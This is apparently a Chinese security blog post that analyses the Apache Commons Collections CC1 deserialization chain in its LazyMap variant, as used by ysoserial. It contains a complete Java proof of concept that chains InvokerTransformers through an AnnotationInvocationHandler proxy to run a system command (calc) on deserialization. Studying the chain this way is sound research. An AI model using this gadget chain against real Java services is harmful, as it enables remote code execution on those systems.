CC1链-LazyMap

本文最后更新于:2024年10月14日 下午

之前分析了TransformMap那条链,现在分析一下LazyMap

LazyMap这条链子是ysoserial在使用,其同样在org.apache.commons.collections.map路径下,我在其源码中可以看到,在get方法中调用了transform()这个函数。

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

现在我们找到了最底层的出发点,现在向上查看对LayMap.get()的调用,可以发现有一大堆,直接看看ysoserial里面是怎么设计的,还是使用了AnnotationInvocationHandler这个类,但是并不是在它的readObject函数中了,搜索一下get,在77行的位置,invoke函数中调用了Map类的get函数,而LazyMap显然是继承Map类的。

下一个问题是,如何使用AnnotationInvocationHandlerinvoke函数,从这个类的注释中可以发现,它是对注解调用处理的动态代理实现。关于动态代理可以看看JavaSec的这篇文章,Java动态代理

ysoserial中也是使用了动态代理的方法进行的构造,创建动态代理类会使用到java.lang.reflect.Proxy类和java.lang.reflect.InvocationHandler接口。java.lang.reflect.Proxy主要用于生成动态代理类Class、创建代理类实例。

创建动态代理实例代码:

1
2
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);

Proxy.newProxyInstance的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。被代理的接口类通过调用动态代理处理类(InvocationHandler)的invoke方法获取方法执行结果

根据构造的需要,要触发AnnotationInvocationHandlerinvoke,对其进行动态代理,再调用任意函数就可以了,调用函数简单,反序列化自动会调用Map的一些函数。

所以根据TransformMap的链子我们可以写出lazyMap的链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static void main(String[] args) throws Exception {
// 第一层
Transformer[] tfs = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(tfs);
Map<Object, Object> map = new HashMap<>();
map.put("value", "3xsh0re");
Map<Object,Object> lazyMap = LazyMap.decorate(map,transformerChain);
// 获取类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 对Map创建代理,使用AnnotationInvocationHandler进行代理
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class,lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
// 对proxyMap进行再封装,因为我们需要的是AnnotationInvocationHandler的readObject
handler = (InvocationHandler) constructor.newInstance(Target.class,proxyMap);

// 测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

我自己的payload在调试过程中会弹出很多次计算器,因为被代理后,只要使用Map相关的函数就会到invoke。调试器会调用一些toString之类的方法,导致不经意间触发了 命令。ysoserial对此有一些处理,它在POC的最后才将执行命令的Transformer数组设置到transformerChain中,原因是避免本地生成序列化流的程序执行到命令。可以发现ysoserial实现了一个工具类去处理这种情况。

最后来捋一捋这个逻辑:

AnnotationInvocationHandler封装proxyMap从而可以被序列化

AnnotationInvocationHandler代理Map.class从而可以触发invoke函数

构造的AnnotationInvocationHandler实例中,lazyMap作为成员变量被传入,在invoke函数中调用get函数

lazyMap.get()中调用transform

1
2
3
4
5
6
AnnotationInvocationHandler.readObject()
->Map(Proxy).entrySet()
->AnnotationHandler.Invoke()
->LazyMap.get()
->ChainedTransformer.transform()
->InvokerTransformer.transform()

CC链分析完整测试代码,可直接拉取


CC1链-LazyMap
https://3xsh0re.github.io/2024/08/13/CC1链-LazyMap/
作者
3xsh0re
发布于
2024年8月13日
许可协议